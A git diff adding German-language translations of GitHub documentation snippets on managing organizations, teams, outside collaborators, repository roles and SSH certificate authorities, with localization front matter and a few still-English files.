diff --git a/translations/de-DE/data/reusables/organizations/invite_to_org.md b/translations/de-DE/data/reusables/organizations/invite_to_org.md
new file mode 100644
index 0000000000..1b167cb336
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/invite_to_org.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 7af8045c1424a4206fc2a2d59cdb32ab4840bfdd
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879801"
+---
+{% ifversion fpt or ghec %}1. Gib den Benutzernamen, den vollständigen Namen oder die E-Mail-Adresse der Person ein, die du einladen möchtest, und klicke auf **Einladen**.
+  ![Formular zum Einladen von Mitgliedern](/assets/images/help/organizations/org-invite-modal.png){% else %}
+1. Gib den Benutzernamen, den vollständigen Namen oder die E-Mail-Adresse der Person ein, die du hinzufügen möchtest, und klicke auf **Einladen**.
+  ![Formular zum Einladen von Mitgliedern](/assets/images/help/organizations/org-invite-modal.png){% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/invite_to_team.md b/translations/de-DE/data/reusables/organizations/invite_to_team.md
new file mode 100644
index 0000000000..917180779a
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/invite_to_team.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 603c044bcd701d91b2f867ac15d29d0117ae80d5
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883740"
+---
+{% ifversion fpt or ghec %}
+1. Füge dem Team ein Organisationsmitglied hinzu, oder lade ein Nichtmitglied ein, einem Team beizutreten:
+   - Wenn die hinzuzufügende Person bereits ein Mitglied deiner Organisation ist, gib deinen Benutzernamen ein, und klicke auf **Eingabe**. Der Benutzer wird dem Team sofort hinzugefügt.
+   - Wenn die hinzuzufügende Person kein Mitglied deiner Organisation ist, gib ihren Benutzernamen oder ihre E-Mail-Adresse ein, und klicke auf **Eingabe**. Der Benutzer erhält eine E-Mail-Einladung für den Beitritt zu deiner Organisation und wird dem Team hinzugefügt, sobald er die Einladung akzeptiert hat.{% else %}
+1. Gib den Benutzernamen der Person ein, die du hinzufügen möchtest, und klicke auf **Eingabe**. Der Benutzer wird dem Team sofort hinzugefügt.
+![Popup „Teammitglied hinzufügen“](/assets/images/help/organizations/Organization-add-team.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/member-privileges.md b/translations/de-DE/data/reusables/organizations/member-privileges.md
new file mode 100644
index 0000000000..3fe439b170
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/member-privileges.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Access" section of the sidebar, click **{% octicon "people" aria-label="The people icon" %} Member privileges**.
+{% else %}
+4. In the left sidebar, click **Member privileges**.
+![Member privileges option in org settings](/assets/images/help/organizations/org-settings-member-privileges.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/mixed-roles-warning.md b/translations/de-DE/data/reusables/organizations/mixed-roles-warning.md
new file mode 100644
index 0000000000..b6da803e10
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/mixed-roles-warning.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 60ab8c6d33c5ea5779154b70295ff6537e454557
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879220"
+---
+Wenn einer Person widersprüchliche Zugriffsrechte erteilt wurden, wird auf der Seite für den Repositoryzugriff eine Warnung angezeigt. Die Warnung wird mit dem Hinweis „{% octicon "alert" aria-label="The alert icon" %} Gemischte Rollen“ neben der Person mit dem widersprüchlichen Zugriff angezeigt. Um die Ursache des Zugriffskonflikts anzuzeigen, bewege den Mauszeiger auf das Warnsymbol, oder klicke auf **Gemischte Rollen**.
diff --git a/translations/de-DE/data/reusables/organizations/navigate-to-org.md b/translations/de-DE/data/reusables/organizations/navigate-to-org.md
new file mode 100644
index 0000000000..ef3f95d2c2
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/navigate-to-org.md
@@ -0,0 +1 @@
+1. On {% data variables.location.product_location %}, navigate to the main page of the organization.
diff --git a/translations/de-DE/data/reusables/organizations/new-org-permissions-more-info.md b/translations/de-DE/data/reusables/organizations/new-org-permissions-more-info.md
new file mode 100644
index 0000000000..3d4e7a795c
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/new-org-permissions-more-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e676904aee049925f9a0d394f2785735a59ee19b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107911"
+---
+Weitere Informationen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
diff --git a/translations/de-DE/data/reusables/organizations/new-organization.md b/translations/de-DE/data/reusables/organizations/new-organization.md
new file mode 100644
index 0000000000..726d68e2c9
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/new-organization.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5f4e7311590ef2c6aa1bec321f97f8db79960870
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107908"
+---
+1. Klicke im Abschnitt „Organisationen“ auf **Neue Organisation**.
+![Schaltfläche zum Erstellen einer neuen Organisation](/assets/images/help/settings/new-org-button.png)
diff --git a/translations/de-DE/data/reusables/organizations/new-repo-permissions-more-info.md b/translations/de-DE/data/reusables/organizations/new-repo-permissions-more-info.md
new file mode 100644
index 0000000000..155361ddc3
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/new-repo-permissions-more-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 26baef64417db97b3832984d39ca26c427dc77e1
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883003"
+---
+Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
diff --git a/translations/de-DE/data/reusables/organizations/new-ssh-ca.md b/translations/de-DE/data/reusables/organizations/new-ssh-ca.md
new file mode 100644
index 0000000000..8c5b0e599f
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/new-ssh-ca.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 50f5872ca3ee3cc64b6a65a0507dd1a92b9b4cbf
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107904"
+---
+1. Klicke rechts neben „SSH-Zertifizierungsstellen“ auf **Neue Zertifizierungsstelle**.
+  ![Schaltfläche „Neue Zertifizierungsstelle“](/assets/images/help/organizations/new-ca-button.png)
+2. Unter „Key" (Schlüssel) füge Deinen öffentlichen SSH-Schlüssel ein.
+    ![Schlüsselfeld zum Hinzufügen von Zertifizierungsstellen](/assets/images/help/organizations/ca-key-field.png)
+3. Klicke auf **Zertifizierungsstelle hinzufügen**.
diff --git a/translations/de-DE/data/reusables/organizations/new_team.md b/translations/de-DE/data/reusables/organizations/new_team.md
new file mode 100644
index 0000000000..3419e28d54
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/new_team.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 7eac6dda075618cfb85fd07fef7c192ff498d3b7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109166"
+---
+1. Klicke unter deinem Organisationsnamen auf {% octicon "people" aria-label="The people icon" %} **Teams**.
+  {% ifversion fpt or ghes or ghec %} ![Registerkarte „Teams“](/assets/images/help/organizations/organization-teams-tab-with-overview.png) {% else %} ![Registerkarte „Teams“](/assets/images/help/organizations/organization-teams-tab.png) {% endif %}
+1. Klicke auf der rechten Seite der Registerkarte „Teams“ auf **Neues Team**.
+  ![Schaltfläche „Neues Team“](/assets/images/help/teams/new-team-button.png)
diff --git a/translations/de-DE/data/reusables/organizations/oauth_app_access.md b/translations/de-DE/data/reusables/organizations/oauth_app_access.md
new file mode 100644
index 0000000000..d136b0b9ec
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/oauth_app_access.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 19d660784f148924f9763da604c017e7337c64ea
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107883"
+---
+1. Klicke im Abschnitt „Integrationen“ der Randleiste auf **{% octicon "key" aria-label="The key icon" %} Drittanbieterzugriff**.
diff --git a/translations/de-DE/data/reusables/organizations/oauth_app_restrictions_default.md b/translations/de-DE/data/reusables/organizations/oauth_app_restrictions_default.md
new file mode 100644
index 0000000000..007af2b0e7
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/oauth_app_restrictions_default.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b9d870ddcce085e2fc5d5a489276d641c5d7ad70
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107880"
+---
+{% ifversion fpt or ghec %}Wenn Du eine neue Organisation erstellst, sind {% data variables.product.prodname_oauth_app %}-Zugriffsbeschränkungen standardmäßig aktiviert. Organisationsbesitzer können [{% data variables.product.prodname_oauth_app %}-Zugriffseinschränkungen](/articles/disabling-oauth-app-access-restrictions-for-your-organization) jederzeit deaktivieren. {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/org-invite-expiration.md b/translations/de-DE/data/reusables/organizations/org-invite-expiration.md
new file mode 100644
index 0000000000..20570bdf28
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/org-invite-expiration.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 19aa020ae0ff7ab31254079043a048cae86a823e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107876"
+---
+Ausstehende Einladungen verfallen nach 7 Tagen und stellen nicht beanspruchte Lizenzen wieder her.
diff --git a/translations/de-DE/data/reusables/organizations/org-invite-scim.md b/translations/de-DE/data/reusables/organizations/org-invite-scim.md
new file mode 100644
index 0000000000..023ea7f050
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/org-invite-scim.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5cc309eef4a786e150774afb03e77843e59667d1
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876806"
+---
+Wenn ein Eingeladener die Einladung nicht innerhalb von sieben Tagen annimmt, verfällt die ausstehende Einladung automatisch. Nach ihrem Ablauf wird die ausstehende Einladung nicht mehr durch {% data variables.product.company_short %} in Rechnung gestellt.{% ifversion ghec %} Wenn die Einladung durch eine SCIM-Anforderung deines Identitätsanbieters (IdP) generiert wird, läuft die Einladung nicht ab.{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/org-list.md b/translations/de-DE/data/reusables/organizations/org-list.md
new file mode 100644
index 0000000000..e20a0efd3c
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/org-list.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0d1e4420065937ac3cb4e296487ba4de00c7344d
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880011"
+---
+1. Klicke unter „Organisationen“ neben dem Namen deiner Organisation auf **Einstellungen**.
+  ![Screenshot einer Organisation neben der Schaltfläche „Einstellungen“](/assets/images/help/organizations/list-of-organizations.png)
diff --git a/translations/de-DE/data/reusables/organizations/org-ownership-recommendation.md b/translations/de-DE/data/reusables/organizations/org-ownership-recommendation.md
new file mode 100644
index 0000000000..f7450c0137
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/org-ownership-recommendation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0a42d7b90fd6973a0d52e7cff8dfc3082de11135
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107871"
+---
+Projekte, die von einem alleinigen Organisationsinhaber unterhalten und verwaltet werden, können leicht unzugänglich werden, wenn der Organisationsinhaber nicht erreichbar ist. Wir empfehlen für Organisationen, mindestens zwei Personen mit *Besitzerberechtigungen* einzurichten, um sicherzustellen, dass der Zugriff auf ein Projekt nicht verlorengeht.
diff --git a/translations/de-DE/data/reusables/organizations/org-settings-repository-roles.md b/translations/de-DE/data/reusables/organizations/org-settings-repository-roles.md
new file mode 100644
index 0000000000..e83637fc33
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/org-settings-repository-roles.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d78bee91839defed786f2cf13e6a435ff3093961
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107868"
+---
+1. Klicke im Abschnitt „Zugriff“ der Randleiste auf **{% octicon "id-badge" aria-label="The ID badge icon" %} Repositoryrollen**.
diff --git a/translations/de-DE/data/reusables/organizations/org_settings.md b/translations/de-DE/data/reusables/organizations/org_settings.md
new file mode 100644
index 0000000000..ae81adc287
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/org_settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ddc27b0ace0d5be48f1d93fe36ed27cc1a16184f
+ms.sourcegitcommit: 0c000ebc6e405c1d634fe370f834cd6dce35124b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/02/2022
+ms.locfileid: "148130908"
+---
+1. Klicke unter deinem Organisationsnamen auf {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen**.
+{% ifversion fpt or ghes or ghec %} ![Schaltfläche „Organisationseinstellungen“](/assets/images/help/organizations/organization-settings-tab-with-overview-tab.png) {% else %} ![Schaltfläche „Organisationseinstellungen“](/assets/images/help/organizations/organization-settings-tab.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/organization-name.md b/translations/de-DE/data/reusables/organizations/organization-name.md
new file mode 100644
index 0000000000..e42a4397ae
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/organization-name.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 58b6a9db23ed8b7ea32d0840598caf57926baa40
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107864"
+---
+1. Gib unter „Organisationskontoname“ einen Namen für dein Organisationskonto ein.
+![Feld zur Eingabe eines Organisationsnamens](/assets/images/help/organizations/new-org-name.png)
diff --git a/translations/de-DE/data/reusables/organizations/organization-plans.md b/translations/de-DE/data/reusables/organizations/organization-plans.md
new file mode 100644
index 0000000000..6ed87ef18a
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/organization-plans.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 0372bc08bb87ea419c1b07a9a640ba1611af1d84
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147389939"
+---
+{% ifversion fpt or ghec %} Alle Organisationen können eine unbegrenzte Anzahl öffentlicher und privater Repositorys besitzen. Mit {% data variables.product.prodname_free_team %} kannst du Organisationen kostenlos nutzen, die eingeschränkte Features für private Repositorys enthalten. Um den vollständigen Featuresatz für private Repositorys und zusätzliche Features auf Organisationsebene zu erhalten, einschließlich SAML SSO und verbesserter Supportabdeckung, kannst du ein Upgrade auf {% data variables.product.prodname_team %} oder {% data variables.product.prodname_ghe_cloud %} vornehmen. {% data reusables.gated-features.more-info %}
+
+{% ifversion fpt %} {% data reusables.enterprise.link-to-ghec-trial %}{% endif %} {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/organization-wide-project.md b/translations/de-DE/data/reusables/organizations/organization-wide-project.md
new file mode 100644
index 0000000000..7ddd535b9c
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/organization-wide-project.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 55a01fbe1358fc0fffc11f146b973d79242c5235
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109606"
+---
+1. Klicke unter deinem Organisationsnamen auf {% octicon "project" aria-label="The Projects icon" %} **Projekte**.
+  {% ifversion fpt or ghes or ghec %} ![ Registerkarte „Projekte“ für deine Organisation](/assets/images/help/organizations/organization-projects-tab-with-overview-tab.png) {% else %} ![Registerkarte „Projekte“ für deine Organisation](/assets/images/help/organizations/organization-projects-tab.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/outside-collaborators-use-seats.md b/translations/de-DE/data/reusables/organizations/outside-collaborators-use-seats.md
new file mode 100644
index 0000000000..615ecb2e9d
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/outside-collaborators-use-seats.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b692fa5f67c502468e33e3358e612b40dd598a41
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882979"
+---
+Durch Hinzufügen eines externen Mitarbeiters zu einem privaten{% ifversion ghec %} oder internen{% endif %} Repository wird eine deiner kostenpflichtigen Lizenzen verwendet. Weitere Informationen findest du unter {% ifversion fpt or ghec %}[Informationen zur Abrechnung pro Benutzer](/billing/managing-billing-for-your-github-account/about-per-user-pricing){% elsif ghes or ghae %}[Informationen zur Abrechnung für dein Unternehmen](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise){% endif %}.
diff --git a/translations/de-DE/data/reusables/organizations/outside_collaborator_forks.md b/translations/de-DE/data/reusables/organizations/outside_collaborator_forks.md
new file mode 100644
index 0000000000..9eb4cfd142
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/outside_collaborator_forks.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bebc28240c6b2ff7c395f6b719e8cdc0358dd247
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107835"
+---
+Wenn Du einem Repository einen externen Mitarbeiter hinzufügst, musst Du ihn auch zu den Forks des Repositorys hinzufügen, auf das er zugreifen können soll.
diff --git a/translations/de-DE/data/reusables/organizations/outside_collaborators_description.md b/translations/de-DE/data/reusables/organizations/outside_collaborators_description.md
new file mode 100644
index 0000000000..ec9a31633c
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/outside_collaborators_description.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: a5dd18f8480462a2692e6c254f630ebfa2acbca4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107832"
+---
+Ein externer Mitarbeiter, beispielsweise ein Berater oder ein vorübergehend Beschäftigter, ist eine Person, die auf mindestens ein Organisations-Repository zugreifen kann, jedoch kein explizites Mitglied der Organisation ist. Weitere Informationen finden Sie unter
+
+- [Externe Mitarbeiter zu Organisations-Repositorys hinzufügen](/articles/adding-outside-collaborators-to-repositories-in-your-organization)
+- [Ein Organisationsmitglied in einen externen Mitarbeiter umwandeln](/articles/converting-an-organization-member-to-an-outside-collaborator)
+- [Externen Mitarbeiter von einem Organisations-Repository entfernen](/articles/removing-an-outside-collaborator-from-an-organization-repository)
diff --git a/translations/de-DE/data/reusables/organizations/owners-and-admins-can.md b/translations/de-DE/data/reusables/organizations/owners-and-admins-can.md
new file mode 100644
index 0000000000..4f3a1648d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/owners-and-admins-can.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2af0440764f0312cf95ea726f661580c2dd70b14
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107831"
+---
+Nur Mitglieder mit Inhaberberechtigungen für eine Organisation oder Administratorberechtigungen für ein Repository können
diff --git a/translations/de-DE/data/reusables/organizations/owners-team.md b/translations/de-DE/data/reusables/organizations/owners-team.md
new file mode 100644
index 0000000000..35a1b27545
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/owners-team.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: e9ff0d70e8da2b66ea0576745ade99d3d6afa994
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109433"
+---
+1. Klicke unter deinem Organisationsnamen auf {% octicon "people" aria-label="The people icon" %} **Teams**.
+  {% ifversion fpt or ghes or ghec %} ![Registerkarte „Teams“](/assets/images/help/organizations/organization-teams-tab-with-overview.png) {% else %} ![Registerkarte „Teams“](/assets/images/help/organizations/organization-teams-tab.png) {% endif %}
+1. Klicke auf der Registerkarte „Teams“ auf **Besitzer**.
+  ![Besitzerteam ausgewählt](/assets/images/help/teams/owners-team.png)
diff --git a/translations/de-DE/data/reusables/organizations/people-export.md b/translations/de-DE/data/reusables/organizations/people-export.md
new file mode 100644
index 0000000000..4370b68a8c
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/people-export.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: daffa09ee1e17affb693cd3f63f4f941db08822f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885684"
+---
+1. Wähle rechts neben der Suchleiste das Dropdownmenü „Exportieren“ aus, und klicke auf das gewünschte Exportformat.
+  ![Screenshot der Schaltfläche „Exportieren“](/assets/images/help/organizations/people-tab-export.png)
diff --git a/translations/de-DE/data/reusables/organizations/people.md b/translations/de-DE/data/reusables/organizations/people.md
new file mode 100644
index 0000000000..ae675f14ad
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/people.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8e5539da78f1ef4c94ba4d6300169f05b3a99640
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109601"
+---
+1. Klicke unter deinem Organisationsnamen auf {% octicon "person" aria-label="The Person icon" %} **Personen**.
+  {% ifversion fpt or ghes or ghec %} ![Registerkarte „Personen“](/assets/images/help/organizations/organization-people-tab-with-overview-tab.png) {% else %} ![Registerkarte „Personen“](/assets/images/help/organizations/organization-people-tab.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/people_tab_outside_collaborators.md b/translations/de-DE/data/reusables/organizations/people_tab_outside_collaborators.md
new file mode 100644
index 0000000000..511b0d2d2b
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/people_tab_outside_collaborators.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f3990c1ed67b894ee33c4f142dfe504871e2d1cf
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107819"
+---
+4. Klicke auf der Registerkarte „Personen“ auf **Externe Mitarbeiter**.
+![Schaltfläche zum Auswählen externer Mitarbeiter für eine Organisation](/assets/images/help/organizations/select-outside-collaborators.png)
diff --git a/translations/de-DE/data/reusables/organizations/reinstate-user-type-username.md b/translations/de-DE/data/reusables/organizations/reinstate-user-type-username.md
new file mode 100644
index 0000000000..f9caa8d992
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/reinstate-user-type-username.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9b8456eea0fddf7b06e0de9e597fbc3d135784d6
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877002"
+---
+1. Gib den Benutzernamen der Person ein, die du reaktivieren möchtest, und klicke auf **Einladen**.
diff --git a/translations/de-DE/data/reusables/organizations/removed_outside_collaborators.md b/translations/de-DE/data/reusables/organizations/removed_outside_collaborators.md
new file mode 100644
index 0000000000..5fbd2c3a6b
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/removed_outside_collaborators.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ab58f06dfd1de2eea4fce2456edb149e3a35ccc9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107800"
+---
+1. Wenn Du dazu aufgefordert wirst, lies die Informationen über Mitglieder und externe Mitarbeiter, die aus der Organisation entfernt werden. Gib den Namen deiner Organisation ein, um die Änderung zu bestätigen, und klicke dann auf **Mitglieder entfernen und zweistufige Authentifizierung anfordern**.
+  ![Kontrollkästchen zum Bestätigen der Erzwingung der zweistufigen Authentifizierung](/assets/images/help/organizations/confirm-require-2fa.png)
diff --git a/translations/de-DE/data/reusables/organizations/repo-creation-constants.md b/translations/de-DE/data/reusables/organizations/repo-creation-constants.md
new file mode 100644
index 0000000000..1e30bbb1fc
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/repo-creation-constants.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0e8dd11eb69439eaa5f6a441646c486704f1702b
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147874425"
+---
+Organisationsinhaber können immer jede beliebige Art von Repository erstellen und externe Mitarbeiter können niemals irgendeine Art von Repository erstellen. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
diff --git a/translations/de-DE/data/reusables/organizations/repository-defaults.md b/translations/de-DE/data/reusables/organizations/repository-defaults.md
new file mode 100644
index 0000000000..bb34fffba4
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/repository-defaults.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Code, planning, and automation" section of the sidebar, select **{% octicon "repo" aria-label="The repo icon" %} Repository**, then click **Repository defaults**.
+{% else %}
+1. In the left sidebar, click **Repository defaults**.
+  ![Repository defaults tab](/assets/images/help/organizations/repo-defaults-tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/repository-labels.md b/translations/de-DE/data/reusables/organizations/repository-labels.md
new file mode 100644
index 0000000000..255de8cb96
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/repository-labels.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2e8b7d6bec8d94c6e70391341b3e1465a8356f3f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107792"
+---
+1. Klicke auf der linken Randleiste auf **Repositorybezeichnungen**.
diff --git a/translations/de-DE/data/reusables/organizations/require-ssh-cert.md b/translations/de-DE/data/reusables/organizations/require-ssh-cert.md
new file mode 100644
index 0000000000..4c554c56c5
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/require-ssh-cert.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2f27cc8f89cfa028a5e07512c1528152a9bd4941
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107791"
+---
